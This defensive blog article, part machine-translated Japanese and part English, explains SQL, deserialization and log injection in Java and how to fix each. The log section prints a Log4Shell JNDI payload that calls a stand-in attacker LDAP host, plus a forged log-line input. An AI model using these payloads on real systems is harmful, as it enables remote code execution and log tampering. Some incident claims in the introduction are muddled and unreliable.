2019 年、有名なゲームであるフォートナイトで有名な侵害が発生し、数百万人のプレイヤーがマルウェアの危険にさらされたと報告されています。このインシデントは、SQL データベースを適切に保護することの重要性を浮き彫りにしました。
しかし、これは単独の問題ではありません。
Tesla が 2018 年に経験したような、SQL インジェクションを伴う攻撃が複数発生しました。その場合、別の SQL インジェクション攻撃が Tesla の Kubernetes コンソールに影響を及ぼし、不正な暗号通貨マイニング活動による経済的損失が発生しました。
しかし、これは SQL インジェクションだけに関するものではありません。
大企業が過去に被害を受けたように、現在コードが被害を受ける可能性のある攻撃ベクトルは他にもあります。
2021 年に Log4Shell と呼ばれる Log4J ライブラリで発生したものとして、現在に至るまで世界中の何百万台ものサーバーに影響を及ぼしたロギング インジェクション攻撃が関与しました。または、Atlassian Jira での 2022 年に発生したものとしては、複数のバージョンの Jira に影響を及ぼし、完全な攻撃を許可しました。攻撃者にコントロールを与えます。
それは誰にでも、あなたにさえも起こる可能性があります。
この記事では、コード内で最も一般的な 3 つの攻撃、SQL インジェクション、デシリアライゼーション インジェクション、ロギング インジェクションとその解決方法について説明します。
データベースに情報を保存するアプリケーションは、多くの場合、ユーザーが生成した値を使用して権限を確認したり、情報を保存したり、単にテーブル、ドキュメント、ポイント、ノードなどに保存されたデータを取得したりします。
アプリケーションがこれらの値を使用しているとき、不適切に使用すると、攻撃者がデータベースに追加のクエリを送信して許可されない値を取得したり、それらのテーブルを変更してアクセスを取得したりする可能性があります。
次のコードは、ログイン ページで指定されたユーザー名を考慮してデータベースからユーザーを取得します。すべて順調のようです。
しかし、攻撃者がインジェクション手法を使用すると、このコードは文字列補間を使用して予期しない結果をもたらし、攻撃者がアプリケーションにログインできるようになります。
この問題を解決するには、このアプローチを文字列連結の使用からパラメーター挿入に変更します。実際、パフォーマンスとセキュリティの観点から、文字列の連結は一般に悪い考えです。
パラメータ値を SQL 文字列に直接含めるのを、後で参照できるパラメータに変更すると、ハッキングされたクエリの問題が解決されます。
私たちの修正コードは、prepareStatement と各パラメーターの値設定を含めて、次のようになります。
SQL インジェクションの脆弱性の検出に役立つ SonarQube および SonarCloud のルールは、ここにあります
逆シリアル化は、データをシリアル化された形式 (バイト ストリーム、文字列、ファイルなど) からプログラムが操作できるオブジェクトまたはデータ構造に変換して戻すプロセスです。
逆シリアル化の一般的な使用法には、JSON 構造の形式で API と Web サービスの間で送信されるデータ、または protobuf メッセージの形式で RPC (リモート プロシージャ コール) を使用する最新のアプリケーションが含まれます。
サニタイズまたはチェックの手順が実装されていない場合、メッセージ ペイロードをオブジェクトに変換すると、深刻な脆弱性が生じる可能性があります。
ここでは、リクエスト入力ストリームでユーザーからの直接値である objectIS を使用し、それを新しいオブジェクトに変換していることがわかります。
値は常にアプリケーションが使用するクラスの 1 つであることが期待されます。確かに、クライアントはそれ以外のものを送信することはありませんよね?
しかし、悪意のあるクライアントがリクエストで別のクラスを送信している場合はどうなるでしょうか?
この場合、デフォルトのコンストラクター中にファイルを削除するクラスがあり、これは前の readObject 呼び出しで発生します。
攻撃者は、このクラスをシリアル化して API に送信するだけで済みます:
幸いなことに、これを修正する簡単な方法があります。オブジェクトを作成する前に、逆シリアル化するクラスが許可された型のいずれかであるかどうかを確認する必要があります。
上記のコードでは、クラス名のチェックを含む「resolveClass」メソッドがオーバーライドされた新しい ObjectInputStream を作成しました。この新しいクラス SecureObjectInputStream を使用して、オブジェクト ストリームを取得します。ただし、ストリームをオブジェクト (ユーザー) に読み取る前に、許可リストのチェックを組み込みます。
逆シリアル化インジェクションの脆弱性の検出に役立つ SonarCloud/SonarQube および SonarLint ルールは、ここにあります
A logging system is a software component or service designed to record events, messages, and other data generated by applications, systems, or devices. Logs are essential for monitoring, troubleshooting, auditing, and analyzing software and system behavior and performance.
Usually, these applications record failures, attempts to log in, and even successes that can help in debugging when an eventual issue occurs.
But, they can also become an attack vector.
Log injection is a type of security vulnerability where an attacker can manipulate log files by injecting malicious input into them. If logs are not properly sanitized, this can lead to several security issues.
We can find issues like log forging and pollution when the attacker modifies the log content to corrupt them or to add false information to make them difficult to analyze or to break log parsers, and also log management systems exploits, where the attacker will inject logs to exploit vulnerabilities in log management systems, leading to further attacks such as remote code execution.
Let’s consider the following code, where we take a value from the user and log it.
public void doGet(HttpServletRequest request, HttpServletResponse response) { String user = request.getParameter("user"); if (user != null){ logger.log(Level.INFO, "User: {0} login in", user); } }
It looks harmless, right?
But what if the attacker tries to log in with this user?
john login in\n2024-08-19 12:34:56 INFO User 'admin' login in
It’s clearly a wrong user name and it will fail. But, it will be logged and the person checking the log will get very confused
2024-08-19 12:34:56 INFO User 'john' login in 2024-08-19 12:34:56 ERROR User 'admin' login in
Or even worse !! If the attacker knows the system is using a non-patched Log4J version, they can send the below value as the user and the system will suffer from remote execution. The LDAP server controlled by the attacker responds with a reference to a malicious Java class hosted on a remote server. The vulnerable application downloads and executes this class, giving the attacker control over the server.
$ { jndi:ldap://malicious-server.com/a}
But we can prevent these issues easily.
Sanitizing the values to be logged is important to avoid the log forging vulnerability, as it can lead to confusing outputs forged by the user.
// Log the sanitised username String user = sanitiseInput(request.getParameter("user")); } private String sanitiseInput(String input) { // Replace newline and carriage return characters with a safe placeholder if (input != null) { input = input.replaceAll("[\\n\\r]", "_"); } return input; }
The result we’ll see in the logs is the following, making it now easier to see that all the logs belong to the same call to the log system.
2024-08-19 12:34:56 INFO User 'john' login in_2024-08-19 12:34:56 ERROR User 'admin' login in
In order to prevent the exploit to the logging system, it’s important to keep our libraries updated to the latest stable versions as much as possible. For log4j, that remediation would disable the functionality. We can also manually disable JNDI.
-Dlog4j2.formatMsgNoLookups=true
If you still need to use JNDI, then a common sanitizing process could avoid malicious attacks by just checking the destination against an allowed destinations list.
public class AllowedlistJndiContextFactory implements InitialContextFactory { // Define your list of allowed JNDI URLs private static final List ALLOWED_JNDI_PREFIXES = Arrays.asList( "ldap://trusted-server.com", "ldaps://secure-server.com" ); @Override public Context getInitialContext(Hashtable environment) throws NamingException { String providerUrl = (String) environment.get(Context.PROVIDER_URL); if (isAllowed(providerUrl)) { return new InitialContext(environment); } else { throw new NamingException("JNDI lookup " + providerUrl + " not allowed"); } } private boolean isAllowed(String url) { if (url == null) { return false; } for (String allowedPrefix : ALLOWED_JNDI_PREFIXES) { if (url.startsWith(allowedPrefix)) { return true; } } return false; } }
And configure our system to use the filtering context factory.
-Djava.naming.factory.initial=com.yourpackage.AllowedlistJndiContextFactory
The SonarCloud/SonarQube and SonarLint rules that help detect the logging injection vulnerability can be found here
Security vulnerabilities are not just theoretical concerns but real threats that have already impacted major companies, resulting in substantial financial and reputational damage.
From SQL injections to Deserialization and Logging injections, these attack vectors are prevalent and can easily exploit insecure code if not properly addressed.
By understanding the nature of these vulnerabilities and implementing the recommended fixes, such as using parameterized queries, avoiding unsafe deserialization practices, and properly securing logging frameworks, developers can significantly reduce the risk of these attacks.
Proactive security measures are essential to protect your applications from becoming the next victim of these widespread and damaging exploits.
Sonar provides free and opensource tools like SonarLint, SonarQube, and SonarCloud that can detect, warn about, and suggest fixes for all these vulnerabilities.
以上が現在コードに隠れている主なセキュリティ上の欠陥 - それらを修正する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。